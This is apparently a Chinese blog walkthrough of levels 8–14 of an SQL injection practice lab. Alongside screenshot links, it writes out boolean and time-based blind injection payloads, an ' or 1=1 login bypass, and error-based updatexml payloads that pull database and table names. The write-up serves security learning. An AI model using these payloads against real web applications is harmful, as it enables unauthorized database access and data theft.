目录
第八关
第九关:
第十关
第十一关
第十二关
第十三关
第十四关
第八关
![](https://img-blog.csdnimg.cn/9a081c00ad9a40f79c14f6447b7f4f37.png)
我们用测试语句来测试是否为注入点
![](https://img-blog.csdnimg.cn/50d18734292c41cc94cb3c17e47b801f.png)
从上图中得知存在注入点,那么接下来就是爆列
![](https://img-blog.csdnimg.cn/f6e0480008204e3193e60c4299b055aa.png)
![](https://img-blog.csdnimg.cn/be51ace60c6940c68d553abe8a743e08.png)
一共有三列,接下来用union select 和报错注入都试一下发现没有回显点,那么可以测试这里存在盲注。
主要分为boolean和时间盲注
接下来引入三个函数
length() //长度
left()//取从左往右数几个字符
ascii()//ASCII码值
substr()//截取字符串
sleep()//计算时间【将程序挂起一段时间】
if()【配合时间盲注】
![](https://img-blog.csdnimg.cn/c20db34dace64ba6947e97306d0c2ca2.png)
利用length来猜数据库名的长度【在这里可以结合burpsuite】
![](https://img-blog.csdnimg.cn/bb7037b77a83424e99e2b9f973911088.png)
因为这个结果只会返回是或不是
所以从上面图中可以知道数据库名长度为8,接下来就是利用ASCII码来猜数据库名,这将会是一个漫长的过程。
![](https://img-blog.csdnimg.cn/71baee3e95f24625b0e39200233f3517.png)
利用payload:and (ascii(substr(database(),1,1)))=115--+
ASCII码值为115则说明第一位是s
接下来猜后面的
![](https://img-blog.csdnimg.cn/5c02e50de6d549f3b1d2943ec78ff938.png)
证明第二位是e就这么一步一步的猜吧,根据我们前面知道的这个数据库名是security
利用这个名字再继续一个一个猜表,列,数
![](https://img-blog.csdnimg.cn/bb9f38326c464bdc820aa66bb668ff6d.png)
利用payload:' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1【位数】,1【个数】)))=101--+
得知数据库中第一个表的第一个字母为e,接下来就这么一个一个猜,列名,数据名同上。
第九关:
这一关我们用之前的方法进行测试,发现无论是哪种闭合都是返回正确的,那么这里可能就跟时间盲注有关系。【时间盲注跟布尔盲注结合】
那么在这里就需要用到if 和 sleep这两个函数来判断了。
![](https://img-blog.csdnimg.cn/bc3640e194694964b9979628cc9a87ff.png)
利用payload:
' and if(length(database())=8,sleep(5),1)--+ 查看他的响应时间是否有变化。
后面的就跟之前的payload差不多。
第十关
![](https://img-blog.csdnimg.cn/d4eba17af0b44e03a027bac3eb272b2b.png)
第十关跟第九关没啥区别,就是闭合双引号的问题。
那么时间盲注最大的问题就是我们没办法一开始就猜到闭合的规则,有可能试了半天他最后没有时间盲注,所以这里就考验的是心态。
第十一关
![](https://img-blog.csdnimg.cn/6d8a95930d414845b349460b6d3ac0e7.png)
第十一关一开始就很陌生了,没错这是一个post表单传参的问题。
![](https://img-blog.csdnimg.cn/8ac8c9f6988a4ef5aa17eb670074d225.png)
那么这个就是万能密码的问题
![](https://img-blog.csdnimg.cn/72a41913d48f4669b3cec20189fa75e9.png)
利用payload:' or 1=1 order by 3--qwe
猜测出有两列
![](https://img-blog.csdnimg.cn/39e578560a994967921d444d624eb4ff.png)
剩下的就跟之前是一样的了,在这里也不多说了,不知道的可以看之前的东西。
第十二关
![](https://img-blog.csdnimg.cn/883e5a18f2b5440289cf85b39ea180db.png)
好吧,这个跟之前一样又是一个闭合的问题。
第十三关
第十三关其实是post类型的报错注入
![](https://img-blog.csdnimg.cn/28d6c0ce0b56400394f09fed1fd4729e.png)
![](https://img-blog.csdnimg.cn/eeb2701d0e72488d9415ea0f16277abf.png)
这个没有回显点那么就利用报错函数updatexml
利用payload:')and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
![](https://img-blog.csdnimg.cn/fcca669dc83a42d69dbee5c95bc0c0ab.png)
爆出数据库名,那么接下来的步骤,大家也都清楚了吧。
第十四关
![](https://img-blog.csdnimg.cn/9ce017733f8849ad95278b59b4bed9d3.png)
![](https://img-blog.csdnimg.cn/2d58e47b5ad347ecbd535223023eb49d.png)
第十四关又是闭合的问题了。报错无回显,利用updatexml来测试跟上面一样。
payload:"and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
![](https://img-blog.csdnimg.cn/fc38f6744ee340c1a8fbfa69776001f2.png)